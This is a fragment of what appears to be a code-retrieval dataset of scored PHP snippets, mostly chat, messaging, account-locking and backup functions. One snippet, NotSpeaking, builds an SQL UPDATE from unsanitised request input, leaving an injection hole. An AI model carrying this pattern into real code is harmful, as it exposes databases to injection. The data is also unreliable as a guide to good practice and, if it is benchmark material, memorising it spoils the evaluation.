&$tpl ) {\n\t\tif( $portal->is_chat_disabled() ) {\n\t\t\t$tpl->body_style_classes[] = 'chat-disabled';\n\t\t}//end if\n\t}", "title": "" }, { "docid": "cdcde6b3c0b5bbdf2160b6745c290449", "score": "0.43624094", "text": "public function freezePay($from, $to, $num, $note = '', $amount = '')\n {\n }", "title": "" }, { "docid": "0ccd6b875332c5327af2232310ab389e", "score": "0.43590325", "text": "function freeze() {\n parent::freeze();\n foreach (array_keys($this->_rows) as $key) {\n foreach (array_keys($this->_rows[$key]) as $key2) {\n $this->_rows[$key][$key2]->freeze();\n }\n }\n }", "title": "" }, { "docid": "9437b8c4c6507be961dedc21961dc730", "score": "0.4353637", "text": "public function chat_bootme(array $chat, Player $player) {\n\t\t$msg = '$i$ff0 $<' . $player->nickname . '$>$s$39f chooses to boot back to the real world!';\n\t\t$this->maniaControl->chat->sendChat($msg, null, true);\n\n\t\t$message = '$39F Thanks for Playing, see you around!$z';\n\t\ttry {\n\t\t\t$this->maniaControl->client->kick($player->login, $message);\n\t\t} catch (Exception $e) {\n\t\t\t$this->maniaControl->errorHandler->triggerDebugNotice(\"ChatMessagePlugin Debug Line 316: \" . $e->getMessage());\n\t\t\t// TODO: only possible valid exception should be \"wrong login\" - throw others (like connection error)\n\t\t\t$this->maniaControl->chat->sendError('Error occurred: ' . $e->getMessage(), $player->login);\n\t\t\treturn;\n\t\t}\n\t}", "title": "" }, { "docid": "30a4fdaea74ce8d297097497b0b432d7", "score": "0.43399075", "text": "public function lockUser($id) {\n\t\t\t$query = $this->db()->prepare(\"UPDATE Users SET locked = true WHERE id = ?\");\n\t\t\t$query->bind_param(\"i\", $id);\n\t\t\t$query->execute();\n\t\t\t$query->close();\n\t\t\t$this->mail($this->getMail($id), \"Kaffee-Konto gesperrt\",\n\t\t\t\t\"Hallo,\\n\\n\".\n\t\t\t\t\"Ihr Kaffee-Konto wurde gesperrt.\\n\".\n\t\t\t\t\"Bitte kontaktieren Sie ein Mitglied der Kaffee-AG.\\n\\n\".\n\t\t\t\t\"Bis bald,\\n\".\n\t\t\t\t\"Ihre Kaffee-Maschine\");\n\t\t\t$this->mail($GLOBALS[\"config\"][\"Mastermail\"], \"Kaffee-Konto gesperrt\",\n\t\t\t\t\"Hallo,\\n\\n\".\n\t\t\t\t\"Soeben wurde das folgende Kaffee-Konto gesperrt:\\n\".\n\t\t\t\t\"Datenbank-ID:\".$id.\"\\n\".\n\t\t\t\t\"E-Mail:\".$this->getMail($id).\"\\n\".\n\t\t\t\t\"Kuerzel:\".$this->getShortageOf($id).\"\\n\".\n\t\t\t\t\"Name:\".$this->getUsernameOf($id).\"\\n\\n\".\n\t\t\t\t\"Bis bald,\\n\".\n\t\t\t\t\"Ihre Kaffee-Maschine\");\n\t\t}", "title": "" }, { "docid": "a3eebd21b844f94f940fa492fb194cf3", "score": "0.43379247", "text": "function CreateChatWith(\n $Username\n ) {\n }", "title": "" }, { "docid": "131fcc6ea66f42e0970c1222a3743737", "score": "0.4335757", "text": "public static function refreshChat($request, $context) {\n\n\t\t$newChat = chatTable::getChats();\n\n\t\t$context->listOfChat = $newChat;\n\n\t\tif(!is_null($newChat)) {\n\t\t\tforeach($newChat as $chat)\n\t\t\t{\n\t\t\t\tif($chat->emetteur != null && $chat->post != null)\n\t\t\t\t{\n\t\t\t\t\tif($chat->emetteur->avatar != '') {\n\t\t\t\t\t\t$av = $chat->emetteur->avatar;\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\t$av = 'https://pedago02a.univ-avignon.fr/~uapv1400724/images/default-avatar.png';\n\t\t\t\t\t}\n\n\t\t\t\t\techo '<hr>';\n\t\t\t\t\techo '<div class=\"chat-message clearfix\">';\n\t\t\t\t\techo '<img src=\"' . $av . '\" alt=\"avatar\" width=\"32\" height=\"32\">';\n\t\t\t\t\techo '<div class=\"chat-message-content clearfix\">';\n\t\t\t\t\techo '<h5 class=\"titleMessageChat\">' . $chat->emetteur->nom . ' ' . $chat->emetteur->prenom . '<span class=\"chat-time\">' . date_format($chat->post->date, 'Y-m-d H:i:s') . '</span></h5>' ;\n\t\t\t\t\techo '<p>' . htmlspecialchars($chat->post->texte, ENT_NOQUOTES) . '</p>';\n\t\t\t\t\techo '</div>';\n\t\t\t\t\techo '</div>';\n\t\t\t\t\t$idChat = $chat->id;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$av = 'https://pedago02a.univ-avignon.fr/~uapv1400724/images/default-avatar.png';\n\n\t\t\t\t\techo '<hr>';\n\t\t\t\t\techo '<div class=\"chat-message clearfix\">';\n\t\t\t\t\techo '<img src=\"' . $av . '\" alt=\"avatar\" width=\"32\" height=\"32\">';\n\t\t\t\t\techo '<div class=\"chat-message-content clearfix\">';\n\t\t\t\t\techo '<h5 class=\"titleMessageChat\">Format du chat incorrect</h5>' ;\n\t\t\t\t\techo '<p></p>';\n\t\t\t\t\techo '</div>';\n\t\t\t\t\techo '</div>';\n\t\t\t\t\t$idChat = $chat->id;\n\t\t\t\t}\n\t\t\t}\n\t\t\techo \"<input class='hidden' id='lastIdChat' value='\" . $idChat . \"' ></input>\";\n\t\t}\n\n\t\treturn context::SUCCESS;\n }", "title": "" }, { "docid": "e9434a535e521f8e5e932f55f1ac1cbb", "score": "0.43270752", "text": "function send ();", "title": "" }, { "docid": "dbc260536d4969191d0c2eb9551343e9", "score": "0.4321463", "text": "function backup_messages ($bf,$preferences) {\n\n global $CFG;\n\n $status = true;\n\n //Get info from messages\n $unreads = get_records ('message');\n $reads = get_records ('message_read');\n $contacts= get_records ('message_contacts');\n\n if ($unreads || $reads || $contacts) {\n $counter = 0;\n //message open tag\n fwrite ($bf,start_tag(\"MESSAGES\",2,true));\n if ($unreads) {\n //Iterate over every unread \n foreach ($unreads as $unread) {\n //start message\n fwrite($bf, start_tag(\"MESSAGE\",3,true));\n fwrite ($bf,full_tag(\"ID\",4,false,$unread->id));\n fwrite ($bf,full_tag(\"STATUS\",4,false,\"UNREAD\"));\n fwrite ($bf,full_tag(\"USERIDFROM\",4,false,$unread->useridfrom));\n fwrite ($bf,full_tag(\"USERIDTO\",4,false,$unread->useridto));\n fwrite ($bf,full_tag(\"MESSAGE\",4,false,$unread->message));\n fwrite ($bf,full_tag(\"FORMAT\",4,false,$unread->format));\n fwrite ($bf,full_tag(\"TIMECREATED\",4,false,$unread->timecreated));\n fwrite ($bf,full_tag(\"MESSAGETYPE\",4,false,$unread->messagetype));\n //end message\n fwrite ($bf,end_tag(\"MESSAGE\",3,true));\n\n //Do some output\n $counter++;\n if ($counter % 20 == 0) {\n echo \".\"; \n if ($counter % 400 == 0) {\n echo \"<br />\";\n }\n backup_flush(300);\n }\n }\n }\n\n if ($reads) {\n //Iterate over every read \n foreach ($reads as $read) {\n //start message\n fwrite($bf, start_tag(\"MESSAGE\",3,true));\n fwrite ($bf,full_tag(\"ID\",4,false,$read->id));\n fwrite ($bf,full_tag(\"STATUS\",4,false,\"READ\"));\n fwrite ($bf,full_tag(\"USERIDFROM\",4,false,$read->useridfrom));\n fwrite ($bf,full_tag(\"USERIDTO\",4,false,$read->useridto));\n fwrite ($bf,full_tag(\"MESSAGE\",4,false,$read->message));\n fwrite ($bf,full_tag(\"FORMAT\",4,false,$read->format));\n fwrite ($bf,full_tag(\"TIMECREATED\",4,false,$read->timecreated));\n fwrite ($bf,full_tag(\"MESSAGETYPE\",4,false,$read->messagetype));\n fwrite ($bf,full_tag(\"TIMEREAD\",4,false,$read->timeread));\n fwrite ($bf,full_tag(\"MAILED\",4,false,$read->mailed));\n //end message\n fwrite ($bf,end_tag(\"MESSAGE\",3,true));\n\n //Do some output\n $counter++;\n if ($counter % 20 == 0) {\n echo \".\"; \n if ($counter % 400 == 0) {\n echo \"<br />\";\n }\n backup_flush(300);\n }\n }\n }\n\n if ($contacts) {\n fwrite($bf, start_tag(\"CONTACTS\",3,true));\n //Iterate over every contact \n foreach ($contacts as $contact) {\n //start contact\n fwrite($bf, start_tag(\"CONTACT\",4,true));\n fwrite ($bf,full_tag(\"ID\",5,false,$contact->id));\n fwrite ($bf,full_tag(\"USERID\",5,false,$contact->userid));\n fwrite ($bf,full_tag(\"CONTACTID\",5,false,$contact->contactid));\n fwrite ($bf,full_tag(\"BLOCKED\",5,false,$contact->blocked));\n //end contact\n fwrite ($bf,end_tag(\"CONTACT\",4,true));\n\n //Do some output\n $counter++;\n if ($counter % 20 == 0) {\n echo \".\"; \n if ($counter % 400 == 0) {\n echo \"<br />\";\n }\n backup_flush(300);\n }\n }\n fwrite($bf, end_tag(\"CONTACTS\",3,true));\n }\n //messages close tag\n $status = fwrite ($bf,end_tag(\"MESSAGES\",2,true));\n }\n\n return $status;\n\n }", "title": "" }, { "docid": "b12b32b7bce7ea8c24232956f49cd88d", "score": "0.43201563", "text": "protected function _set_chat()\n\t{\n\t\tif(empty($this->_user))\n\t\t{\n\t\t\t$chat_vars = array\n\t\t\t(\n\t\t\t\t'vi' => 'Visitor',\n\t\t\t\t'url' => $this->request->uri()\n\t\t\t);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$chat_vars = array\n\t\t\t(\n\t\t\t\t'url' => $this->request->uri(),\n\t\t\t\t'ip' => '' //initial question to visitor - left blank, but I imagine we can use this in the future\n\t\t\t);\n\t\t}\n\n\t\t//set chat view\n\t\t$this->_chat = \\Boldchat::factory(array('vars' => $chat_vars));\n\t}", "title": "" }, { "docid": "d5d68c2edb873053d41144b791428c78", "score": "0.43189782", "text": "public function markAsBusy()\n {\n $this->isFree = false;\n }", "title": "" }, { "docid": "d5bf283ea0f620d8d1eab8ed24be8b61", "score": "0.43170843", "text": "function NotSpeaking(&$conn){\n // Set Bot State\n if(isset($_REQUEST['Name'])){ // Name Given\n // Reset Name to not speaking\n // Name will resume speaking on it's next animation cycle\n $name = $_REQUEST['Name']; \n $sql = \"UPDATE `botstate` SET `Speaking` = 0 WHERE `botstate`.`Name` = '$name'\";\n \n // Update sentence status if applicable\n if(isset($_REQUEST['Status'])){// Status Given\n $status = $_REQUEST['Status'];\n if($status == 1){\n $Incomplete_Sentences = LoadInCompleteSentences($conn);\n @$statement = current($Incomplete_Sentences);\n \n if(isset($statement['ID'])){\n $ID = $statement['ID'];\n $conn->query(\"UPDATE `statements` SET `Status` = 1 WHERE `statements`.`ID` = $ID\");\n }\n }\n }\n }\n else{ // No Name Given - Full System Reset (ALL BOTS)\n $sql = \"UPDATE `botstate` SET `Speaking` = 0\";\n }\n \n $conn->query($sql);\n}", "title": "" }, { "docid": "1bd9e830315280f6e1c9a6005c3d187b", "score": "0.43050325", "text": "public function applyForTeam($request, $mailgun){\n // users applies for the team.\n $team_id = $request->input(\"team_id\");\n $user_id = $request->input(\"user_id\");\n $expertise_id = $request->input(\"expertise_id\");\n $timeSent = new TimeSent();\n\n $user = User::select(\"*\")->where(\"id\", $user_id)->first();\n\n $checkJoinRequests = JoinRequestLinktable::select(\"*\")->where(\"team_id\", $team_id)->where(\"user_id\", $user_id)->where(\"accepted\", 0)->get();\n if (count($checkJoinRequests) == 0) {\n $team = Team::select(\"*\")->where(\"id\", $team_id)->first();\n\n $joinRequest = new JoinRequestLinktable();\n $joinRequest->team_id = $team_id;\n $joinRequest->user_id = $user_id;\n $joinRequest->expertise_id = $expertise_id;\n $joinRequest->accepted = 0;\n $joinRequest->created_at = date(\"Y-m-d\");\n $joinRequest->save();\n\n $ceoFirstname = $team->users->firstname;\n\n $existingUserChat = UserChat::select(\"*\")->where(\"creator_user_id\", $user_id)->where(\"receiver_user_id\", $joinRequest->team->ceo_user_id)->orWhere(\"creator_user_id\", $joinRequest->team->ceo_user_id)->where(\"receiver_user_id\", $user_id)->first();\n if(count($existingUserChat) < 1){\n $userChat = new UserChat();\n $userChat->creator_user_id = $user_id;\n $userChat->receiver_user_id = $joinRequest->team->ceo_user_id;\n $userChat->created_at = date(\"Y-m-d H:i:s\");\n $userChat->save();\n\n $userChatId = $userChat->id;\n } else {\n $userChatId = $existingUserChat->id;\n }\n $message = new UserMessage();\n $message->sender_user_id = $user_id;\n $message->user_chat_id = $userChatId;\n $message->message = \"Hey $ceoFirstname I have done a request to join your team!\";\n $message->time_sent = $timeSent->time;\n $message->created_at = date(\"Y-m-d H:i:s\");\n $message->save();\n\n $userChatInno = UserChat::select(\"*\")->where(\"creator_user_id\", 1)->where(\"receiver_user_id\", $user_id)->first();\n $message = new UserMessage();\n $message->sender_user_id = 1;\n $message->user_chat_id = $userChatInno->id;\n $message->message = sprintf(\"Hello %s, <br> You've recently requested to join the team %s. <br> Amazing step forward!<br> You will be notified when the team alters the status of your request. <br><br> Goodluck!\", $user->getName(), $team->team_name);\n $message->time_sent = $timeSent->time;\n $message->created_at = date(\"Y-m-d H:i:s\");\n $message->save();\n\n $user = User::select(\"*\")->where(\"id\", $user_id)->first();\n $mailgun->saveAndSendEmail($joinRequest->team->users, \"Team join request from $user->firstname!\", view(\"/templates/sendJoinRequestToTeam\", compact(\"user\", \"team\")));\n\n if($request->input(\"register\")){\n return redirect(\"/my-account/team-join-requests\");\n } else {\n return redirect($_SERVER[\"HTTP_REFERER\"]);\n }\n } else {\n if($request->input(\"register\")){\n return redirect($user->getUrl())->withErrors(\"You already applied for this team\");\n } else {\n return redirect($_SERVER[\"HTTP_REFERER\"])->withErrors(\"You already applied for this team\");\n }\n }\n }", "title": "" }, { "docid": "20a475f679c9f61bdfaaca94ed41d4d5", "score": "0.4304329", "text": "function deactivate_facebook_livechat() {\n\trequire_once plugin_dir_path( __FILE__ ) . 'includes/class-facebook-livechat-deactivator.php';\n\tFacebook_Livechat_Deactivator::deactivate();\n}", "title": "" }, { "docid": "58d883dfc23dc986ccf59071c6abe686", "score": "0.43004307", "text": "public function freezeAction($params) {\n if (!$this->isGameStart() || $this->isGameFinish() || ($this->getCountFreezeMove() <= 0))\n return false;\n\n $val = $this->_getIntValue($params);\n if ($val && !isset($this->arrFreezed[$val])) {\n $this->arrFreezed[$val] = $this->matrix[$val];\n $this->matrix[$val] += LS_FREEZED;\n $this->countMoves += $this->costsMove['freeze'];\n }\n }", "title": "" }, { "docid": "551491009b5c325a0006faecd54a64e9", "score": "0.4300104", "text": "public function unlockUser($id) {\n\t\t\t$query = $this->db()->prepare(\"UPDATE Users SET locked = false WHERE id = ?\");\n\t\t\t$query->bind_param(\"i\", $id);\n\t\t\t$query->execute();\n\t\t\t$query->close();\n\t\t\t$this->mail($this->getMail($id), \"Kaffee-Konto entsperrt\",\n\t\t\t\t\"Hallo,\\n\\n\".\n\t\t\t\t\"Ihr Kaffee-Konto wurde reaktiviert.\\n\".\n\t\t\t\t\"Ihr Konto ist nun wieder verwendbar.\\n\\n\".\n\t\t\t\t\"Bis bald,\\n\".\n\t\t\t\t\"Ihre Kaffee-Maschine\");\n\t\t}", "title": "" }, { "docid": "c6fddf38a3ffacd3f82597f058e21b94", "score": "0.42940432", "text": "public function leaveChat($from,$data=null){\n if(!Cache::has($from->resourceId)) return;\n\n $partner = $this->clients[Cache::get($from->resourceId)];\n\n /**\n * Update the status for both partner and client that is leaving chat \n */\n Users::whereIn('socketId',[$partner->resourceId,$from->resourceId])->update(['status' => null,'interests'=>null]);\n\n /**\n * Tell his partner that this guy has left the chat \n */ \n $partner->send(json_encode(\n ['cmd'=>'partnerDisconnected','data'=>'']\n ));\n\n /**\n * Remove both of them from memcached so that they are no longer partners\n */\n cache::forget($from->resourceId);\n cache::forget($partner->resourceId);\n \n /**\n * All done. Now when the search, they get thrown in the pool again.\n */\n }", "title": "" }, { "docid": "063056393351ad89b9720327f1c77e63", "score": "0.42896706", "text": "public function send(){\n if ($this->request->getMethod() == 'post') {\n $rules=[\n 'id' => 'required|is_not_unique[recent_chats.id]|hasAccessToChat[id]',\n 'message' => 'required|min_length[1]'\n ];\n\n if($this->validate($rules)){\n $chatId=$this->request->getPost('id');\n date_default_timezone_set('Europe/Tirane');\n $currentTime = date('Y-m-d H:i:s');\n $data=[\n 'chat_id' => $chatId,\n 'sent_by' => session()->get('id'),\n 'message' => $this->request->getPost('message'),\n 'time' => $currentTime,\n 'opened' => '0'\n ];\n\n //save message\n $model= new MessageModel();\n $model->save($data);\n\n //update chat details\n $model= new ChatModel();\n $chat=$model->where('id', $chatId)->first();\n $user= session()->get('id');\n if($chat['user1'] != $user){\n $otherUser= $chat['user1'];\n }\n else{\n $otherUser= $chat['user2'];\n }\n\n $newChatData=[\n 'last_message_time' => $currentTime,\n 'notify' => $otherUser\n ];\n $model->update($chatId, $newChatData);\n\n //return message time\n echo date(\"d M, H:i\", strtotime($currentTime));\n }\n else{\n echo \"error\";\n }\n }\n else{\n echo \"error\";\n }\n }", "title": "" }, { "docid": "295a940c673e60894683139940ee0eb8", "score": "0.42732486", "text": "function update_message(){\n}", "title": "" }, { "docid": "839df6e610da54e7c1094598d0b5dcdb", "score": "0.4261287", "text": "public function inviteToChat()\n\t{\n\t\t/**\n\t\t * @var $ilUser ilObjUser\n\t\t * @var $lng ilLanguage\n\t\t * @var $ilCtrl ilCtrl\n\t\t * @var $tpl ilTemplate\n\t\t */\n\t\tglobal $ilUser, $lng, $ilCtrl, $tpl;\n\t\t\n\t\t$lng->loadLanguageModule('chatroom');\n\n\t\t$addr_ids = ((int)$_GET['addr_id']) ? array((int)$_GET['addr_id']) : $_POST['addr_id'];\n\n\t\tif(!$addr_ids)\n\t\t{\n\t\t\tilUtil::sendFailure($lng->txt('select_one'), true);\n\t\t\t$ilCtrl->redirect($this, 'showAddressbook');\n\t\t}\n\n\t\t$no_login = array();\n\n\t\tforeach($addr_ids as $id)\n\t\t{\n\t\t\t$entry = $this->abook->getEntry($id);\n\t\t\tif(!$entry['login'])\n\t\t\t{\n\t\t\t\t$no_login[] = $id;\n\t\t\t}\n\t\t}\n\n\t\tif(count($no_login))\n\t\t{\n\t\t\t$message = $lng->txt('chat_users_without_login') . ':<br>';\n\t\t\t$list = '';\n\n\t\t\tforeach($no_login as $e)\n\t\t\t{\n\t\t\t\t$list .= '<li>' . $this->abook->entryToString($e) . '</li>';\n\t\t\t}\n\n\t\t\t$message .= '<ul>';\n\t\t\t$message .= $list;\n\t\t\t$message .= '</ul>';\n\n\t\t\tilUtil::sendFailure($message, true);\n\t\t\t$ilCtrl->redirect($this, 'showAddressbook');\n\t\t}\n\n\t\tinclude_once 'Modules/Chatroom/classes/class.ilChatroom.php';\n\n\t\t$ilChatroom = new ilChatroom();\n\t\t$chat_rooms = $ilChatroom->getAllRooms($ilUser->getId());\n\t\t$subrooms = array();\n\n\t\tforeach($chat_rooms as $room_id => $title)\n\t\t{\n\t\t\t$subrooms[] = $ilChatroom->getPrivateSubRooms($room_id, $ilUser->getId());\n\t\t}\n\n\t\tinclude_once 'Services/Form/classes/class.ilPropertyFormGUI.php';\n\n\t\t$form = new ilPropertyFormGUI();\n\t\t$form->setTitle($lng->txt('mail_invite_users_to_chat'));\n\n\t\t$psel = new ilSelectInputGUI($lng->txt('chat_select_room'), 'room_id');\n\t\t$options = array();\n\n\t\tforeach($chat_rooms as $room_id => $room)\n\t\t{\n\t\t\t$ref_id = $room_id;\n\n\t\t\tif($ilChatroom->isUserBanned($ilUser->getId()))\n\t\t\t{\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t$options[$ref_id] = $room;\n\n\t\t\tforeach($subrooms as $subroom)\n\t\t\t{\n\t\t\t\tforeach($subroom as $sub_id => $parent_id)\n\t\t\t\t{\n\t\t\t\t\tif($parent_id == $ref_id)\n\t\t\t\t\t{\n\t\t\t\t\t\t$title = ilChatroom::lookupPrivateRoomTitle($sub_id);\n\t\t\t\t\t\t$options[$ref_id . ',' . $sub_id] = '+&nbsp;' . $title;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t$psel->setOptions($options);\n\t\t$form->addItem($psel);\n\t\t$phidden = new ilHiddenInputGUI('addr_ids');\n\t\t$phidden->setValue(implode(',', $addr_ids));\n\t\t$form->addItem($phidden);\n\t\t$form->addCommandButton('submitInvitation', $this->lng->txt('submit'));\n\t\t$form->addCommandButton('cancel', $this->lng->txt('cancel'));\n\t\t$form->setFormAction($ilCtrl->getFormAction($this));\n\n\t\t$tpl->setTitle($lng->txt('mail_invite_users_to_chat'));\n\t\t$tpl->setContent($form->getHtml());\n\t\t$tpl->show();\n\t}", "title": "" }, { "docid": "66a85f216d8ae79f19cfe8687ad39902", "score": "0.42568776", "text": "function nachricht_verlasse($r_id, $u_name, $r_name)\n{\n // Aufruf mit Raum-Id, UserName, Raum-Name\n // liefert $back (ID des geschriebenen Datensatzes) zurück\n global $chat, $nachricht_v, $lustigefeatures, $u_farbe, $u_id;\n global $eintritt_individuell, $eintritt_useranzeige;\n \n // Nachricht Standard\n $text = $nachricht_v[0];\n \n // Nachricht Lustiege ein/austrittsnachrichten\n if ($lustigefeatures) {\n reset($nachricht_v);\n $anzahl = count($nachricht_v);\n $text = $nachricht_v[mt_rand(1, $anzahl) - 1];\n }\n \n // Nachricht auswählen\n if ($eintritt_individuell == \"1\") {\n $query = \"SELECT u_austritt FROM user where u_nick = '$u_name'\";\n $result = mysql_query($query);\n $row = mysql_fetch_object($result);\n if (strlen($row->u_austritt) > 0) {\n $text = stripslashes($row->u_austritt);\n if ($eintritt_useranzeige == \"1\")\n $text = htmlspecialchars($text) . \" <b>($u_name)</b> \";\n else $text = htmlspecialchars($text) . \" <!-- <b>($u_name)</b> -->\";\n }\n mysql_free_result($result);\n }\n \n $text = str_replace(\"%u_name%\", $u_name, $text);\n $text = str_replace(\"%r_name%\", $r_name, $text);\n \n $text = preg_replace(\"|%nick%|i\", $u_name, $text);\n $text = preg_replace(\"|%raum%|i\", $r_name, $text);\n \n if (strlen($text) == 0)\n $text = $u_name;\n \n // Nachricht im Chat ausgeben; falls Raum moderiert ist, nur HTML-Kommentar ausgeben\n if (raum_ist_moderiert($r_id)) {\n $back = system_msg(\"\", 0, $u_id, $u_farbe, \"<b>&lt;&lt;&lt;</b> \"\n . $text);\n } else {\n $back = global_msg($u_id, $r_id, \"<b>&lt;&lt;&lt;</b> \" . $text);\n }\n return ($back);\n \n}", "title": "" }, { "docid": "972ad001e756942711b5636e2dc52091", "score": "0.4254458", "text": "public function isFrozen() {\n\t\treturn $this->frozen_reason <> null;\n\t}", "title": "" }, { "docid": "6a588b321f53fc8afbb3ec464494ac82", "score": "0.42487687", "text": "public function debtScheduler($username){\n\t\t$player = $this->getServer()->getPlayerExact($username);\n\t\tif(!$player instanceof Player){\n\t\t\treturn;\n\t\t}\n\t\tif($this->money[\"debt\"][$username] <= 0){\n\t\t\t$this->lastActivity[\"debt\"][$username] = null;\n\t\t\t$this->schedules[\"debt\"][$username] = null;\n\t\t\t$this->scheduleId[\"debt\"][$username] = null;\n\t\t\tunset($this->lastActivity[\"debt\"][$username], $this->schedules[\"debt\"][$username], $this->scheduleId[\"debt\"][$username]);\n\t\t\treturn;\n\t\t}\n\t\t$per = $this->getConfigurationValue(\"percent-of-increase-debt\");\n\t\t$increase = ($this->myDebt($player) * ($per / 100));\n\t\t$this->addDebt($player, $increase, true, \"DebtScheduler\");\n\t\t$player->sendMessage($this->getMessage(\"debt-increase\", $player, array($this->myDebt($player), \"\", \"\", \"\")));\n\n\t\t$this->lastActivity[\"debt\"][$username] = time();\n\t\t$this->schedules[\"debt\"][$username] = $this->config->get(\"time-for-increase-debt\") * 60;\n\t\t$this->scheduleId[\"debt\"][$username] = $this->getServer()->getScheduler()->scheduleDelayedTask(new CallbackTask(array($this, \"debtScheduler\"), array($username)), ($this->config->get(\"time-for-increase-debt\") * 1200))->getTaskId();\n\t}", "title": "" }, { "docid": "9cd173dc73689afb6161adbf25debe26", "score": "0.4247823", "text": "public function send() : void;", "title": "" }, { "docid": "94f65a0690749ab320b0074f7c2bdf88", "score": "0.4247464", "text": "public function sent();", "title": "" }, { "docid": "8c866f99aa47760687b09a98cc10ae5f", "score": "0.4245689", "text": "public function getActiveChat()\n {\n return $this->getChatTable()->find(1);\n }", "title": "" }, { "docid": "44e45d50160501b1eb7a9d9861069551", "score": "0.42449608", "text": "function BWM_Resync2()\n{\n\tglobal $smcFunc;\n\t\n\t// Dump the contents of the buddies table ONLY if we aren't starting from the beginning:\n\t$time = time();\n\t$pos = empty($_REQUEST['pos']) ? 1 : (int) $_REQUEST['pos'];\n\tif ($pos == 1)\n\t\t$result = $smcFunc['db_query']('', '\n\t\t\tTRUNCATE TABLE {db_prefix}buddies');\n\n\t// Figure out how many members we have:\n\t$result = $smcFunc['db_query']('', '\n\t\tSELECT COUNT(*) AS total\n\t\tFROM {db_prefix}members'\n\t);\n\t$row = $smcFunc['db_fetch_assoc']($result);\n\t$smcFunc['db_free_result']($result);\n\t$max = $row['total'];\n\n\t// Process EVERYBODY's buddy list:\n\t$result = $smcFunc['db_query']('', '\n\t\tSELECT id_member, buddy_list\n\t\tFROM {db_prefix}members\n\t\tORDER BY id_member\n\t\tLIMIT {int:start}, {int:top}',\n\t\tarray(\n\t\t\t'start' => (int) $pos - 1,\n\t\t\t'top' => (int) $max,\n\t\t)\n\t);\n\t$count = 0;\n\t$buddies = array();\n\twhile ($row = $smcFunc['db_fetch_assoc']($result))\n\t{\n\t\t$pos++;\n\t\tif (!empty($row['buddy_list']))\n\t\t{\n\t\t\t// Process this member's buddy list for the array:\n\t\t\t$list = explode(',', $row['buddy_list']);\n\t\t\tforeach ($list as $buddy)\n\t\t\t\t$buddies[] = array((int) $row['id_member'], (int) $buddy);\n\n\t\t\t// Are we at the end of members OR hit the 100th member?\n\t\t\tif (!empty($buddies))\n\t\t\t{\n\t\t\t\t$smcFunc['db_insert']('replace',\n\t\t\t\t\t'{db_prefix}buddies',\n\t\t\t\t\tarray('id_member' => 'int', 'is_buddies_with' => 'int'),\n\t\t\t\t\t$buddies,\n\t\t\t\t\tarray('id_member', 'is_buddies_with')\n\t\t\t\t);\n\t\t\t\t$buddies = array();\n\t\t\t}\n\t\t}\n\n\t\t// Are we over the 10-second mark?\n\t\tif (time() > $time + 10)\n\t\t{\n\t\t\t// Setup everything for the next run:\n\t\t\t$context['sub_template'] = 'not_done';\n\t\t\t$context['continue_percent'] = (int) (($pos / $max) * 100);\n\t\t\t$context['continue_get_data'] = 'action=admin;area=maintain;sa=members;sa=BWM_Resync;pos=' . $pos . ';' . $context['session_var'] . '=' . $context['session_id'];\n\t\t\tbreak;\n\t\t}\n\t}\n\t$smcFunc['db_free_result']($result);\n\n\t// If we haven't gone past the 10-second mark, redirect properly:\n\tif (time() <= $time + 10)\n\t\tredirectexit('action=admin;area=maintain;sa=members;done=BWM_Resync');\n}", "title": "" }, { "docid": "f0b2ee2bf6e5f8038283ee75f321629b", "score": "0.4241591", "text": "function _freezeFormElements($elementsToFreeze)\n {\n foreach ($elementsToFreeze as $elementToFreeze) {\n $elementToFreeze = $this->_fb->getFieldName($elementToFreeze);\n if ($this->_form->elementExists($elementToFreeze)) {\n $el = $this->_form->getElement($elementToFreeze);\n $el->freeze();\n }\n } \n }", "title": "" }, { "docid": "49a9eb852689d0cee693b016da8cc178", "score": "0.42325032", "text": "public function composingStop($to)\n {\n $message = new \\sb\\XMPP\\Message();\n\n $message->setTo($to);\n $message->setFrom($this->jid);\n $message->setType('chat');\n $node = $message->createElement('active');\n $attr = $message->createAttribute('xmlns');\n $node->appendChild($attr);\n $attr->appendChild($message->createTextNode('http://jabber.org/protocol/chatstates'));\n\n $message->doc->appendChild($node);\n\n $this->sendMessage($message);\n }", "title": "" }, { "docid": "6ba99124e8476115476a0554511d6f7e", "score": "0.42202348", "text": "function chatSend() {\r\r\r\n\t$current_user_id = $_POST['ids'][0];\r\r\r\n\t$partner_id = $_POST['ids'][1];\r\r\r\n\t$message = $_POST['message'];\r\r\r\n\t$post_id = $_POST['post_id'];\r\r\r\n\r\r\r\n\t// We get the actual discussion log and we search for the last message date\r\r\r\n\t$chatlog = get_field('discussion', $post_id);\r\r\r\n\t$last_msg_date = substr($chatlog, strrpos($chatlog, \"<span class='day'>\") + 18, 5);\r\r\r\n\r\r\r\n\tsetlocale(LC_TIME, 'fr_FR.utf8','fra'); \r\r\r\n\t\r\r\r\n\t// If the actual date is not the same day as the last message's date, we add to the message a new day message\r\r\r\n\tif(date('d/m') > $last_msg_date) {\r\r\r\n\t\t$chatlog .= \"<div class='new-day'>\" . strftime('%A %d %B') . \"<br>\" . date('H:i') . \"</div>\" . \"\\n\";\r\r\r\n\t} else {\r\r\r\n\t\t// If the actual date is the same day as the last message's date\r\r\r\n\t\t$last_msg_time = substr($chatlog, strrpos($chatlog, \"<span class='hour'>\") + 19, 5);\r\r\r\n\t\t$minute_gap = sqrt(pow(substr($last_msg_time, 3) - date('i'), 2));\r\r\r\n\t\t$hour_gap = sqrt(pow(substr($last_msg_time, 0, 2) - date('H'), 2));\r\r\r\n\t\tif($minute_gap >= 30) {\r\r\r\n\t\t\t// If the actual time is 30 min later than the last message time\r\r\r\n\t\t\t$chatlog .= \"<div class='new-day'>\" . date('H:i') . \"</div>\" . \"\\n\";\r\r\r\n\t\t} elseif($hour_gap >= 1) {\r\r\r\n\t\t\t// If the actual time is at least an hour later than the last message time\r\r\r\n\t\t\t$chatlog .= \"<div class='new-day'>\" . date('H:i') . \"</div>\" . \"\\n\";\r\r\r\n\t\t}\r\r\r\n\t}\r\r\r\n\r\r\r\n\tif(substr($message, 0, strpos($message, ' ')) == 'POST_PRODUCT') {\r\r\r\n\t\t// If the message is a product, we remove the 'POST_PRODUCT' msg\r\r\r\n\t\t$message = substr($message, 13, strlen($message));\r\r\r\n\t\t$chatlog .= \"<div class='msg-product-wrapper' data-from='\" . $current_user_id . \"'>\". $message . 